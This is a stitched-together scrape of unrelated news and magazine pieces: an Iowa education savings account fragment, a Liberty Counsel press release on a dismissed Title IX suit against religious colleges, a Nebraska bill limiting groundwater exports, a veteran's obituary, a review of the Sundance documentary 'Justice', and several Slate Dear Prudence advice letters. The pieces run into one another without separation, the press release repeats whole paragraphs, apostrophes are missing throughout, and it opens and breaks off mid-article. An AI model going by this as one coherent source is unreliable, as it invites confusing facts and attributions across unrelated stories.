Similar to Iowas 529 College Savings Iowa plan, the accounts will be created in the state treasury under the control of the Iowa Department of Education and administered by a third party.

The company administering Arizonas program, ClassWallet, has faced criticism for lax oversight. A 2018 audit of the program found $700,000 had been spent on non-approved expenses.

Were going to continue to make sure that we have accountability and oversight as were working on the RFP, Reynolds told reporters. We want to make sure that we do have transparency and accountability in place.
Title IX Suit Against Faith-Based Colleges Dismissed NEWS PROVIDED BY Liberty Counsel Jan. 24, 2023



In Elizabeth Hunter, et al. v. U.S. Department of Education, et al. and Council for Christian Colleges & Universities, et al, the class action lawsuit was brought by the Religious Exemption Accountability Project (REAP). According to its



The 44 plaintiffs either applied to, attended, or currently attend religious colleges and universities. The plaintiffs "allege that their schools have discriminated against them by, among other things, subjecting them to discipline (including expulsion), rejecting their applications for admission, and rescinding their admissions because of their sexual orientation or gender identity." PORTLAND, Ore, Jan. 24, 2023 / Christian Newswire / -- The U.S. District Court for the District of Oregon ruled in favor of faith-based colleges and dismissed the lawsuit brought by current and former LGBTQ students who argued that Title IX, the civil rights statute that prevents discrimination on the basis of sex, allows religious schools to discriminate against them.In Elizabeth Hunter, et al. v. U.S. Department of Education, et al. and Council for Christian Colleges & Universities, et al, the class action lawsuit was brought by the Religious Exemption Accountability Project (REAP). According to its website , REAP "empowers queer, trans and non-binary students at more than 200 taxpayer-funded religious schools that actively discriminate on the basis of sexual orientation and gender identity/expression." REAP's lawsuit challenged the Title IX exemption for religious colleges and was filed to "end the sexual, physical and psychological abuses perpetrated under the religious exemption to Title IX at thousands of federally-funded schools, colleges, and universities across America."The 44 plaintiffs either applied to, attended, or currently attend religious colleges and universities. The plaintiffs "allege that their schools have discriminated against them by, among other things, subjecting them to discipline (including expulsion), rejecting their applications for admission, and rescinding their admissions because of their sexual orientation or gender identity."



United States District Court Judge Ann Aiken ruled against REAP and dismissed the suit. In her decision, Judge Aiken said that the plaintiffs did not have the necessary elements to state a legal claim.



The court wrote, "Plaintiffs have sufficiently alleged that Defendants caused Plaintiffs' injuries by implementing a system that permits religiously affiliated schools to use religious exemptions to deny federally-funded educational services to current and prospective students."



"Here, Plaintiffs have provided voluminous allegations going toward the element of disparate impactthe first hurdle to mounting an equal protection claim. However, Plaintiffs have submitted no allegations of discriminatory motivation on the part of those enacting the religious exemption. To the contrary, Plaintiffs argue that when Congress enacted Title IX, protections foror discrimination against sexual and gender minoritieswere 'of no concern.' Plaintiffs provide no evidence and supply no allegations involving the above-listed factors for the Court to consider and evaluate whether Congress was motivated in part by a discriminatory purpose when it enacted the religious exemption."



Judge Aiken also referred to the Religious Freedom Restoration Act of 1993 when she wrote: "The text of RFRA is clear that government granting exemptions does not constitute a violation, unless impermissible under Establishment Clause principles Plaintiffs also fail to allege facts to demonstrate that it is Defendantsthe government actor that has burdened Plaintiffs religious beliefs."



Liberty Counsel Founder and Chairman Mat Staver said, "This case is a victory for religious freedom. Title IX protects the freedom of religious colleges and universities to follow their sincerely held convictions. If students don't agree with a faith-based school's mission, it is probably not the right school for them." United States District Court Judge Ann Aiken ruled against REAP and dismissed the suit. In her decision, Judge Aiken said that the plaintiffs did not have the necessary elements to state a legal claim.The court wrote, "Plaintiffs have sufficiently alleged that Defendants caused Plaintiffs' injuries by implementing a system that permits religiously affiliated schools to use religious exemptions to deny federally-funded educational services to current and prospective students.""Here, Plaintiffs have provided voluminous allegations going toward the element of disparate impactthe first hurdle to mounting an equal protection claim. However, Plaintiffs have submitted no allegations of discriminatory motivation on the part of those enacting the religious exemption. To the contrary, Plaintiffs argue that when Congress enacted Title IX, protections foror discrimination against sexual and gender minoritieswere 'of no concern.' Plaintiffs provide no evidence and supply no allegations involving the above-listed factors for the Court to consider and evaluate whether Congress was motivated in part by a discriminatory purpose when it enacted the religious exemption."Judge Aiken also referred to the Religious Freedom Restoration Act of 1993 when she wrote: "The text of RFRA is clear that government granting exemptions does not constitute a violation, unless impermissible under Establishment Clause principles Plaintiffs also fail to allege facts to demonstrate that it is Defendantsthe government actor that has burdened Plaintiffs religious beliefs."Liberty Counsel Founder and Chairman Mat Staver said, "This case is a victory for religious freedom. Title IX protects the freedom of religious colleges and universities to follow their sincerely held convictions. If students don't agree with a faith-based school's mission, it is probably not the right school for them." Liberty Counsel provides broadcast quality TV interviews via Hi-Def Skype and LTN at no cost. SOURCE Liberty Counsel



CONTACT: Mat Staver, 407-875-1776, Liberty@LC.org



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The megadrought gripping the Southwest  climatologists say its the driest 22-year period seen in the region in 1,200 years  has created an unprecedented challenge for the Colorado River Basin.

Increased evaporation from rising temperatures, a lack of precipitation and exploding demand from population growth has dried up reservoirs used to supply drinking water to communities, threatened hydroelectric power stations, and forced farmers to reduce their water appropriations.

Governments at all levels have stepped in to cut use in order to stabilize water levels, but the ongoing and worsening crisis has revived discussions online and on newspaper opinion pages about dramatic proposals to pipe water into the region from elsewhere.

Building a pipeline thousands of miles long to divert water from the Mississippi River to drought-stricken Southern California. Diverting a part of the Missouri River into an aqueduct that would supply water to the drylands of eastern Colorado and western Kansas.

Or, sinking a pipe into the Ogallala Aquifer, which extends through eight Midwestern states, to pump water to thirsty areas elsewhere.

That's a prospect Sen. Tom Briese of Albion said he wants to prevent, at least in the Cornhusker state: Water certainly is our most precious natural resource in Nebraska and it needs to be preserved and protected for future generations of Nebraskans."

His bill (LB241) would prohibit the director of the Nebraska Department of Natural Resources from granting any permit that would allow groundwater to be transported more than 10 miles outside this state, unless it was to comply with an interstate compact or decree.

Essentially, Brieses idea would allow the Legislature a say on any project seeking to tap into the Ogallala Aquifer, a major geological feature underlying much of Nebraska.

I want to ensure we have a roadblock in place if somebody contemplates such a transfer, he said.

Nebraska, like other western states, historically required legislative approval for surface water exports and a reciprocity agreement with another state for groundwater exports, meaning Nebraska could import water from the same states it agreed to export water to.

A 1982 U.S. Supreme Court case  Sporhase v. Nebraska  ruled groundwater was a commodity and couldnt be blocked for export under the dormant Commerce Clause of the U.S. Constitution, however.

The case originated on a farm owned by Joy Sporhase and Dellmer Moss that straddled the Nebraska-Colorado border. They were denied permission to drill a new well on the Colorado side of the state line because the area had been overappropriated by other water users.

When they sought to pump water from a well on the Nebraska side of their farm to flood-irrigate a field on the Colorado side, the Nebraska Department of Water Resources cried foul, saying Sporhase and Moss had never received a permit to transport water across state lines.

The partners appealed the decision to the nations high court, which in addition to ruling groundwater was a commodity subject to federal regulation, kept in place Nebraskas right to regulate water use to ensure conservation.

After that ruling, the Legislature revised the interstate transfer statute to allow groundwater to be exported to other states for municipal purposes, as well as some industrial or agricultural uses.

It also allowed the state to consider whether or not a permit was in the public interest, if no other water was available for the applicant to use, and if the project would harm the nearby water supply or a future use.

That law was upheld by the Nebraska Supreme Court in 1996 after a Wyoming hog confinement operation sued the state after it was denied a permit to pump groundwater from a well in the Nebraska Panhandle.

The court found the denial of Ponderosa Ridges permit by the Nebraska Department of Water Resources was proper because the state found Ponderosa Ridge had not adequately explored using water on the Wyoming side of the border.

Since then, Nebraska has awarded dozens of permit requests from farmers, industrial users and municipalities outside the state to tap into its groundwater.

There are currently 33 active permits for groundwater transfers to adjoining states totaling 856 acre-feet, according to the Nebraska Department of Natural Resources. An acre-foot is the amount of water needed to cover an acre of land at a depth of 1 foot, or about 326,000 gallons.

The largest out-of-state users are agricultural producers in Colorado, Kansas and Wyoming, respectively, totaling 434 acre-feet annually, department records show.

Seven municipalities outside the state get their public water supply from Nebraska sources, including Yankton, South Dakota, which filed a permit with the state in 2009 to access 5.8 million gallons per day from wells dug on the Nebraska side of the Missouri River.

The other six permits for public water supply originated in Kansas.

There are also five permits to transfer groundwater from Nebraska to other states for industrial or construction use totaling 194 acre-feet, and seven permits for domestic or livestock use totaling 28 acre-feet, according to the state.

Mike Thompson, who oversees the Nebraska Department of Natural Resources permits and registrations division, said the application process is relatively simple, but reviewing each permit can be challenging.

Its very situational, Thompson said. The facts of each potential project vary quite a bit by type of use, geologic setting and other issues.

Recently, the department has processed about one permit to transfer groundwater out of state per year, Thompson said, often working with local natural resources districts to review documentation and ensure each meets the requirements outlined in state law.

Applicants need to explain the expected use of the water, any alternative sources of water and why they chose not to use them, while the department seeks to understand if the transfer would harm an existing or future Nebraska user in the area, he added.

Thompson said the department would need to consider those questions  and maybe others  if an application seeking a permit for one of the long-rumored projects to draw water from the Ogallala Aquifer to a dry area elsewhere would land on his desk.

We would have to weigh that carefully, he said. The relative impact of a large project is going to take more analysis to see how a large withdrawal would affect agriculture, which could take a fair amount of effort to do.

Sarah Porter, the director of the Kyl Center for Water Policy at Arizona State University, said shes unaware of any proposal to transfer water out of Nebraska to places like Arizona, Nevada or Southern California.

Doing so would likely be cost-prohibitive for governments or developers, energy-intensive and politically explosive, Porter said, particularly rights-of-way would need to be secured across hundreds, if not thousands, of miles.

Instead of looking to move resources elsewhere, Porter said state and local governments should promote careful stewardship of water resources and sustainable development, as well as collaboration with users both upstream and downstream.

All over the American West, there are landowners who are essentially water speculators, Porter said. Its important for states to weigh in early and make it clear what opportunities are and are not available.

The clearest way to do that is by enacting state statute spelling out what is and isnt permissible, Porter added, as well as to keep communication lines open between states so stakeholders understand each others problems.

Brieses bill, which will go before the Legislatures Natural Resources Committee for a hearing Thursday afternoon, spells out what Nebraskas expectations would be, Porter said.

Steve Mossman, a Lincoln attorney who represented several Banner County ranchers in the Ponderosa Ridge case, said limiting groundwater transfers out of state is an interesting issue, because everyone is concerned about it and then it rarely ever arises.

Banning any transfers more than 10 miles out of state may run into the Sporhase case, Mossman said, particularly if it places a hindrance on interstate commerce.

That would be a question for the U.S. Supreme Court again, he said.

Briese said he doesnt see the bill as running counter to the Commerce Clause.

Rather, its an issue of addressing when  not if  another state comes calling for Nebraskas groundwater.

Our job is to protect Nebraskas interests right now, he said. I foresee it being an issue someday.

Meet the Nebraska state senators making laws in 2023
OMAHA  One of Nebraska's oldest veterans has died at age 104.

Walter Noel Coy, a longtime Omaha resident who served in World War II and helped build a bridge across the Rhine River, died Jan. 10.

Coy was born and raised in Missouri but made his way to Omaha with his wife in 1938 in search of a better job. In Omaha, the couple had one daughter, and Coy found a job as a laborer at the Metropolitan Utilities District in 1941.

Initially, Coy was granted a draft deferment because of his new family. But by 1944, the U.S. badly needed soldiers and Coy's deferment had expired.

"I just got a notice in the mail," Coy told the Omaha World-Herald in a 2021 interview. "It didn't bother me."

After induction and boot camp, Coy was trained as a truck driver and assigned to the 1019th Engineer Treadway Bridge Company. His unit hauled portable bridges to the front lines. The Treadway pontoon bridges could be assembled quickly and allowed soldiers, trucks and even tanks to cross rivers where permanent bridges had been bombed out.

During his service, Coy helped build a bridge across the Rhine River  a 1,164-foot bridge constructed in just 10 hours. But then the war began to wind down. He stayed on occupation duty after Germany surrendered, then was discharged in March 1946.

Back in Omaha, Coy returned to his job at MUD, where he stayed until retiring in 1983. He designed and built a home in South Omaha. He lived there until shortly before his death.

Coy's marriage did not survive the war, though, and he was divorced in 1946. After a second marriage that ended in 1966, he stayed happily single.

Coy's daughter Judyth, his only child, died of leukemia in 1968. She had four sons, three of whom are still alive. Aside from his grandsons, survivors include seven great-grandchildren and many nephews and nieces and grand-nephews and grand-nieces.

Funeral services were held Jan. 16 in Missouri, where his grandsons live.

Jennifer Petak, one of Coy's grand-nieces who lives in Omaha, helped take care of him in his final years, taking him out for lunch and getting him to his doctor's appointments. She said Friday that Coy stayed sharp until the end. "He was always reminding me of stuff: 'Did you remember to do this?'"

Photos: Lincoln honors veterans during Veteran's Day celebration at Nebraska State Capitol
Help! Its practically the end of January, and we are just getting around to getting started. We thought we could all start together, so as part of Slates inaugural Advice Week, were asking our Plus members to mark their calendars and join us Thursday, Jan. 26, at 5 p.m. for a Zoom call with our in-house council of advice columnists.

Moderated by editor-in-chief Hillary Frey, four of Slates advice columnists, Jenee Desmond-Harris, Rich Juzwiak, Elizabeth Spiers, and Jamilah Lemieux, will come together to discuss their most befuddling entries and the responsibility that comes with giving good advice, and even answer questions from the audience. Representing all corners of Slates advice verticals, our columnist panelists (columnelists?) will offer advice ranging from the financial to the familial, flirty, and everything else. You can get a head start by submitting your question before the event through our submission form.

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Who Accepted the Calendar Invite

Jenee Desmond-Harris, Dear Prudence

Jenee Desmond-Harris has been Slates Dear Prudence since June 2021. A former opinion editor and, before that, a lawyer, she has no real qualifications to give advice except that shes generally happy and often gets along with others. And she spent many years reading Reddit AITA threads. Her favorite questions are about friendships, and she finds all letters about dogs extremely stressful.

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Rich Juzwiak, How to Do It

Rich Juzwiak is a writer who lives in New York. His work has been published in the New York Times, the Washington Post, the Los Angeles Times, Pitchfork, Time, and Jezebel. He started writing about sex for Gawker about 10 years ago but has been having it for way longer than that.

Elizabeth Spiers, Pay Dirt

Elizabeth Spiers is Slates Pay Dirt columnist. She was the founding editor of Gawker and the former editor in chief of the New York Observer. Prior to Gawker, she was a financial analyst.

Jamilah Lemieux, Care and Feeding

Jamilah Lemieux is a Slate Parenting advice columnist and co-host of Mom and Dad Are Fighting. Lemieux is a writer, cultural critic, and communications strategist based in L.A.

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On its opening night on Thursday, Sundance lobbed a grenade into festivalgoers carefully planned schedules. The following night, they announced, the festival would host the world premiere of Justice, Doug Limans documentary about Brett Kavanaughs Supreme Court confirmation hearings.

As with last years Navalny, which was dropped into the documentary competition with 24 hours notice, the sudden appearance of Justice gave the film a sense of urgency and mystery. What sort of explosive revelations could this movie contain that would necessitate keeping it under wraps until the very last minute?

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After standing in a crowded tent for an hour and making my way into the packed screening, I can answer that question with: not much. The across-the-board consensus is that Justice, at least in this 85-minute festival cut, is devoid of bombshells. A call to the FBI tipline from Kavanaughs former Yale classmate Max Stier gets the cloak-and-dagger treatment, with a hidden camera and a digitally disguised voice leading us to a handheld recorder that plays back Stiers statement that he heard others at school talking about Kavanaughs sexual assault of fellow classmate Deborah Ramirez, who alleges that Kavanaugh drunkenly stuck his penis in her face in front of several witnesses. (Kavanaugh has denied all allegations, and he and Stier declined to speak to the filmmakers.) But Stiers tip and Ramirezs allegations were widely reported on in 2019, and simply hearing his actual call for the first time does not amount to anything close to a smoking gun.

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Then again, is that the standard by which a documentary like this should be judgeda standard by which the vast majority of issue-driven nonfiction films fall short? Not even the films directors agreed. After the screening, Liman, the Bourne Identity director who made his documentary debut with Justice, which he also financed himself, admitted that We live in a climate where it didnt matter what we put in this movie. (Limans father, Arthur Liman, was chief counsel for the Iran-Contra investigation when the filmmaker-to-be was in his early 20s, so he is no stranger to Congressional investigations.) Those who believed Kavanaughs denialsor at least considered the assault claims put forward by Ramirez, Christine Blasey Ford, and numerous others to be less important than securing his nomination to the Supreme Courtwould not be swayed by Justice even in the unlikely event that they found themselves watching it, and those who believed his accusers need no further confirmation. I sort of came to the answer for myself that maybe the truth matters, Liman went on. In a hundred years, this film will exist, and maybe thats it.

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But Amy Herdy, the investigative journalist who led the films research team, and has worked as a researcher on numerous films about sexual assault, including The Hunting Ground, On the Record, and Allen v. Farrow, immediately took issue with Limans philosophical bent. Yeah, Im not happy with that, with all due respect, Doug, she said. I do hope that this triggers outrage. I do hope that this triggers action. I do hope that this triggers additional investigation with real subpoena powers. One reason for the movies short length was the decision to leave out any Kavanaugh accuser whose allegations couldnt be corroborated, and because Ford, who appears at the edge of the frame in the opening shot as Liman attempts to convince her to be part of the film, evidently decided not to participate. (Her indelible Senate testimony is, of course, included.) But Herdy said that within half an hour of the films existence being announced to the world, new tips were coming through Justices website, and they might well end up becoming part of the final version.

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Justice does give Ramirez, who said in 2018 that she was willing to testify in front of Congress but was never called, a chance to speak at length, and for experts in psychological trauma to explain why her memory of the assault can be precisely detailed in some instances and vague in others. One of the movies most damning points is that Republican counsel Rachel Mitchell, who pounced on minor lapses and inconsistencies in Blasey Fords testimony in an attempt to undermine her credibility as a witness, had worked enough sexual assault cases as a prosecutor to understand exactly how traumatic memory works, and knowingly used that experience to attack Blasey Ford instead. (At one point she grilled Blasey Ford on whether she had actually overhead a conversation on the floor below the room where Kavanaugh allegedly groped her, or whether she just knew that people were talking.) And while Blasey Ford herself does not appear, several of her childhood friends, who also grew up with Kavanaugh, go in front of the camera and make it clear that Kavanaugh at the very least lied under Congressional oath about the extent and excess of his high school and college drunkennessan act that in itself ought to be disqualifying for an application to the nations highest court.

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The question of whether this matters depends in large part on where you set the bar. Based on this version of Justice, the movie stands little chance of convincing the FBI to reopen its investigation, let alone of that investigation turning up anything that might affect Kavanaughs place on the court. But its an almost impossible goal to expect one movie to succeed where the entire apparatus of the Democratic Party failed. What it might do, especially in an expanded and strengthened version, is to help ensure that Kavanaugh never escapes what Ramirez and Blasey Ford say he did, that his every ruling and public statement is seen through the lens of the person they say he is. That might not matter in a hundred years, but it could matter now.
Dear Prudence is Slates advice column. In this special Advice Week edition, former Prudie Margo Howard returns to take on a few of your letters. Got a question for Prudie? Submit it here. (Its anonymous!)

Dear Prudence,

Ive been my familys breadwinner while my husband got through his degree. My husband is currently job hunting and its going very slowly. He just finished a contract for a job that was not what he went to school for but he was actually quite good at. Now, he wants a job in the field he went to school for. The problem is that hes just not very good at it. Its why he didnt get an internship while he was in collegehe was turned down every time he submitted work samples (think something akin to technical writing). But he didnt make the connection; he just thinks he was unlucky and needs to find the right fit.

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Im not being overly criticalhis degree is in my field, and I have had to correct his work many times. I want him to stop applying in that field and start focusing elsewhere, especially since he does have some very desirable skills! I also am starting to resent the time hes putting into applying for jobs he cant really do while I work two jobs. But I just dont feel its my place to say, Honey, I know you got a degree in X, but its really not your forte. That seems so unsupportive. What do I do?

 Dont Want to Help Chase a Pipe Dream

Dear Pipe Dream,

You are, indeed, in an unfortunate position, what with being smarter than your spouse in a field youve mastered and he has not. These things are touchy because of the male ego. My answer to you is a two-parter. My first suggestion would be to try to find a former teacher of his to say the Honey, I know you got a degree in X, but its really not your forte part.

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My second suggestion, Im sorry to say, is to prepare yourself for exiting the marriage. No one should have to work two jobs to compensate for a partner who is ill-equipped to work at one, because he has his heart set on doing the job he cannot seem to master. As for people who tell themselves stories about why things arent working out, but the story is never factual, life will become a series of excuses. I dont think your marriage is long for this world, but, of course, thats a decision you must make.

Got a question about kids, parenting, or family life? Submit it to Care and Feeding!

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Dear Prudence,

I know that my older sister Julia died when she was 12. I was only a toddler at the time, so I dont have any personal memories of her. My mother suffers from early-onset dementia, and we had to put her in a care facility. While prepping the house to sell, I found many items involving Juliaincluding adoption records and several sealed letters addressed to Julia from her birth mother.

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I dont know what to do about these papers. I never knew that Julia was adopted, and I have my doubts about whether the news of her death was conveyed to the birth family since we were living overseas at the time. One of my brothers thinks we should just toss the letters in the trash and it is inviting trouble for us to go digging into the past. The other one thinks that we should try to track down the birth mother if only to give the letters back.

I dont know what to do. This entire process has just drained me, emotionally, mentally, and physically. I could use some advice.

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 Dead Letters

Dear Dead Letters,

Ordinarily, I would suggest following the advice of an old cliche: Let sleeping dogs lie. The fact that the letters were sealed, however, suggests that your mother never passed them onwhich, in turn, could mean that Julia may not have known she was adopted. Because she died some time ago, and the letters never reached her, it would be the kind thing to do to send a note to the birth mother that Julia has passed awayso she doesnt write any more letters. (Do not try to return the letters. All that would do is let the birth mother know Julia never saw them.) Assuming theres a return address on all those unopened envelopes, send a short note to that address about Julias death. If that note comes back return to sender, you can drop the whole matter, knowing you tried to do the right thing. Then you can end feeling drained emotionally, mentally, and physically. You will, at that point, have done all you could.

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Dear Prudence,

My father cheated on my mother 20 years ago and walked out on us for another woman. I was 10 at the time, and my younger sister was 2. My mother worked multiple jobs in order to put food on the table, with help from my grandparents.

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Now, he is trying to come back into our lives after recently divorcing the other woman. He reached out to my sister on Facebook and apologized for leaving. He asked her how she is doing now and insisted that he wants a relationship with all three of us. My sister does not remember him too well, so she accepted. When I found out, I was furious and told her to block him, and that he has no right to come back. I told her he was the reason we struggled financially. She told me that she was an adult and thought he should get another chance and that I should mind my own business.

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Prudence, whether he means well or doesnt, he cant just walk back into our lives whenever he feels like it. I still resent him for what he did to us, but my sister and I are now not speaking because of this fight. What should I do?

Father Wants In

Dear Father Wants In,

He apologized through Facebook? Call me old-fashioned, but a social media message proposing reconciliation from a man who abandoned his family seems inappropriate and trivialized. Since your sister seems to be a quart low, let her reconcile with him and leave you and your mother out of it. Im guessing (hoping?) your mother feels as you do. I am in total agreement with you, by the way. (He probably needs a place to stay or some other favor.) The fact that your sister does not remember him too well suggests she is looking to satisfy her curiosity about him, and perhaps finally have a father. Tell her you have no objections to her following through with her missing-persons quest, but you wish to hear nothing more about it.

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Dear Prudence,

I live in a small apartment building, and I often help watch or play with my neighbor Sarahs cat. Sarahs uncle lives on a 200-plus acre farm. According to her, people often dump stray or feral cats on his property, and he shoots them. He happened to catch a cat in a trap when Sarah was visiting recently, and she volunteered to take him in.

On the first day after she brought him home, I spent several hours helping the cat get adjusted to the apartment and Sarahs first cat. Sarah said that her boyfriend checked some local lost and found pet forums and saw no listings for the new cat. I brought up the idea of posting on a particular site that helps reunite lost pets, but Sarah said shed rather not do that. The young adult cat wasnt neutered or microchipped, and she was certain that if hed lived with people in the past, they must have intentionally dumped him on her uncles farm. I decided to post anyway without telling her, thinking it would soothe my conscience to do due diligence in advertising his presence with us.

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After nine days, I finally received a message from someone saying that the missing cat was his. By that point, Sarah had decided to keep the cat and had spent several hundred dollars on his initial vet care. On one hand, I feel terribly for the man who says the cat was his pet; if I currently had possession of the cat, Id return him. On the other hand, the cat wouldnt even be alive right now if Sarah hadnt stepped in and stopped her uncle from killing him. I know she feels that the lack of vet care means that the cat wasnt getting cared for properly before, and she wouldnt be willing to return him now. She doesnt know that I posted on the forum after she told me not to, let alone that someone messaged me. I now wish Id never involved myself in this cat situation, and I feel so guilty. What should I do?

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 Over-Involved Cat Sitter

Dear Cat Sitter,

Get out of the situation. You really shouldnt have gone looking for the cats owner since you were asked not to. Because you did, howeverand found him, if his claim is trueyou have created a problem that you must solve. I will play Cat God here and hope the cat stays with Sarah. She knows how to properly care for a pet, and has also invested several hundred dollars. From the respondents lackadaisical approach to the cat, you need not feel guilty about deciding to extricate yourself and letting Sarah keep the cat in peace. I doubt the man will be back in touch with you, but if he should, and ask, Wheres the cat? just say you were mistaken.

Many cats do look alike, after all, and theres even a French saying about that: Tous les chats sont gris au noir.

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Read more from Slates Advice Week

More Advice From Slate

I am a newly engaged woman. I have been so excited to start to plan our wedding! Weve set a date, booked the venue, and are working on the guest list. Just about everyone I know has been sending us best wishes and asking the inevitable question: When are you tying the knot? Ive found myself spilling the date to various people and in one cringey faux pas told a friend the date and venue, as well as the fact that its an evening wedding. While she did ask, she isnt on the guest list. Shes really more of an acquaintance or friend of a friend. I feel so embarrassed. Do I need to send her an invite?
This column is part of Advice Week, Slates celebration of all things advice.

Sometimes, people write in with letters, questions, and wide-reaching tales that seem too good (and too chock-full of Lifetime movie dramatics) to be true. The twists and turns often lead to a much too-perfect reveal. Were left wondering, that couldnt have possibly happened could it?

So, we decided to put these letters and our staffers to the test. We collected a few of our most out-there Prudie submissions, cut them off at a particularly interesting turn, and had some of our staff guess where our letter writer would take us. Do you know what comes next?

The Farm and the Flock

Dear Prudence,

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When my grandfather passed away a year and a half ago, he left us his home and small barn in the rural Pacific Northwest. My husband and I work remotely and were itching to get out of our tiny apartment in an extremely expensive city, so we jumped at the chance to move. Weve been fully moved in for a year and a half, and a year ago, we decided to use the barn. So we bought some ducks and chickens as well as a couple of small goats. I spent my summers taking care of animals on this farm, and I like caring for them, plus weve earned some extra money as our neighbors offered to sell the excess eggs and homemade cheese at their farmers market stall. But my husband, in particular, has fallen in love with poultry raising and spent a lot of time building safe facilities for them. Even just writing this sounds ridiculous: My husband, a man with two masters degrees, who works for a large software engineering firm is

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Lydia Gilbert: spending all his time and money breeding prize chickens to enter into agricultural competitions. These chickens are too expensive! A single chick from these rare breeds with their beautiful plumage can cost over $200! He has spent our entire nest egg on fancy chickens, organic feed, and climate-controlled coops. Help, before these chickens come home to roost!

Nadira Goffe: spending more time with the animals than he is with me! He works all day making these safe facilitiesignoring his day job, and messing up our financial prospects. That, I can work with. But, he gets so tired that oftentimes, he falls asleep with the goats and chickens! Its like I barely have a husband anymore. I dont know how to tell him that I miss him. I love our animals, too and they do bring us a little bit of income, but this isnt what I signed up for when we agreed to move. How do I break it to him that this is ruining our marriage?

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Lizzie OLeary: planning to give up his tech job to care for the chickens full time. And while I admire his passion, I dont think we can afford this drastic change. Or rather, if Im being honest, I dont particularly want the lifestyle that comes along with, well, giving up one of our incomes to take a chance on chickens. Its grueling work and I fear it will take a toll on our marriage. But I dont know how to break this to my husband without sounding materialistic AND like Im squashing his dreams! How do I keep the chickens as a side piece?

The Reveal

My husband, a man with two masters degrees, who works for a large software engineering firm ison a mission to kill three coyotes, and its becoming an obsession. He was devastated when two coyotes killed three hens that managed to get out of the coop one night. So, he installed a camera and began trying to count the birds each night. But with 35 chickens and 20 ducks, he couldnt keep up with it. Over three months, we lost one more hen and two ducks, and he saw on the camera that it was the coyotes.

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Now, hes taken it to another level. Hes talking about buying a gun and getting a permit to shoot them because he cant keep going to bed and not knowing which of his hens will be dead when he wakes up. I think this is ridiculousits winter and food is scarce, so of course, two skinny little coyotes will take down a lost hen thats escaped its coop. Clearly, we should be figuring out how to stop the birds from escaping, not killing wild animals acting on their instincts! But I cant convince him to give up his plans to try and stop the coyotes permanently, and Im terrified that hell end up making them die painful, botched deaths, or worse, shoot himself in the foot by accident. Please help! How can I get him to give up this stupid vendetta?

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Wife of the Coyote Crusader

Lydia: Wow, I honestly didnt see this going in such a murderous direction! The letter writer is right, any responsible chicken tender should invest in fencing and a secure coop. Keeping his ducks in a row (inside their coop) is best for them, the coyotes, and the husbands mental health.

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Nadira: Wow, I didnt even consider that more animals could be brought into this whole scenario! I can see how this is concerningthe underlying layer is not only how do I get my husband to listen to my advice and calm down, but also: I didnt know my husband was capable of such blind and violent rage! But as Lydia noted, LW is certainly in the right here. The coyote hunt would be a solution to an effect, not a solution to the causeand it wouldnt stop other animals in the future from preying on these wayward fowl. Maybe if you explain the long-term ineffectiveness of these rather aggressive tactics, you might be able to get through!

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Lizzie: Oh my god. This isnot what I expected. I just thought maybe the guy was getting a little too into rural life. Im with the LW on the getting better fencing part of this, though that isnt a panacea. I have friends who keep guinea fowl and despite their best efforts, they do escape. I think the LW and her husband might also want to talk about getting a dog. A couple of big farm dogs might solve this issue in a less violent way!

Mid-Life Vice

Dear Prudence,

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Im 30 years old (she/her) and have been married for five years. My husband and I have a 2-and-a-half-year-old little boy. We have a great life and I love my guys so much. My problem isnt with them, its with me.

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A few weeks ago I slept with one of my husbands friends. It was not planned, it was a sudden yielding to temptation. It was also a stupid mistake that had nothing to do with my husband or marriage. I have been having somewhat of a mid-life crisis around turning 30, and this guys sexual attraction to me fed my ego. I havent confessed to my husband and dont want toI dont want to hurt him for something selfish and vain I did, and I know for certain I will never do it again.

Of course, if that were the end of it I wouldnt be writing

Lydia: This friend lost his job last week and cant afford his apartment anymore. My husband is insisting that we let him stay in our guest room for a few months while he gets back on his feet! My husband wont stop talking about how much fun it would be and how his friend could provide child care and help with the house. The worst part is, hes right, and we could use the help! Can I let this guy move in and trust that we wont make another mistake?

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Nadira: this letter from the office of my husbands friend. You see, this friend also happens to be my bossthats how I landed this job after I decided to make a big life pivot and quit my overwhelmingly demanding job in the restaurant business. Now, Ive broken my vows and a whole bunch of HR violations and I dont know what to do! This is so bad on so many levels, and even though it didnt mean anything, Im sure it wont look that way to everyone who will be hurt by this. I think my boss and I are both capable of keeping this secret, but I dont think my boss (and husbands friend) wants this to just be a one-time thing. How do I get myself out of this mess?

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Lizzie: My husband told me last night that he and this friend are going into business together. Its a dream theyve had since college, and I dont know how to handle this. It means I will see the friend all the timeand that our financial life will be linked to his. What do I do? Talk to my husbands friend and make him swear to keep our secret? Avoid interacting with him? I can move on from this, but having him around feels like living with a live grenade.

The Reveal

My period is late. If I am pregnant, I dont know if it is my husbands or my flings. I seem to have a few options:

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1. Have an abortion (I am not from the U.S. so its not a problem for me to get one) and do it secretly so my husband wont find out. Going through it alone would be appropriate punishment for me.

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2. Have the child and act as if it were my husbands. My husband and my fling have similar physical attributes so the child wouldnt markedly look like the product of an affair. However, I am not naive enough to think the childs true paternity would not come up sometime in the future.

3. Ask my fling if hes had a vasectomy. Its silly but I am hesitant to do this. On one hand, if he has, then the child is almost certainly my husbands. On the other hand, what if he hasnt? What would his reaction be? I really dont want him to know or be involved in my problem.

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Maybe there are more options but I either cant or dont want to see them. Im very worried and I dont know what to do. Id value your opinion, Prudie.

Weekday With Maury

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Lydia: This was my first thought! As a longtime Slate bonkers advice reader, my imagination ran away with me. Best of luck to LW, sending period vibes her way.

Nadira: This was also my first thought! But then I figured: Nah, its too soap-opera chic. Man, this is rough, but I think more surprising are the holes in the options. 1) Just because you dont tell your husband youre having an abortion doesnt mean you have to go through it alone! I would strongly urge anyone in this situation to (welltry and avoid this situation), but also: seek out a completely objective third party outsider with absolutely no personal interest in the matter (to quote one of my all-time favorite films)i.e.: a friend! And 2) predicting genetics, and then phenotype, is most likely a fools errand! I would caution anyone reading this against assuming what a child could look like once its born. But also, dont do option two, which definitely is soap-opera chic.

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Lizzie: I dont know why this didnt occur to me! I need to watch more Maury (Is Maury still on? Whatever the current equivalent is). There is one other option here, and I know the LW doesnt want to hear it but, uh, she needs to tell her husband. If she is so far down this road that shes considering having a child with uncertain paternity and just winging it then, yikes. But also? Lady, take a pregnancy test! The odds might be in your favor.

Sisterly Love

Dear Prudence,

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My fiances older sister is painfully shy and relies on him as a big part of her support network. Early on when we were dating, he let me know that she would always be an important person in his life and that he would probably see her at least once a week.

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We have been dating for a few years now, and he has been indeed seeing her on a regular basis. It is usually just the two of them. She is about 35, and he has never mentioned her having a boyfriend. Recently, out of salacious curiosity, I asked if he thought she was a virgin

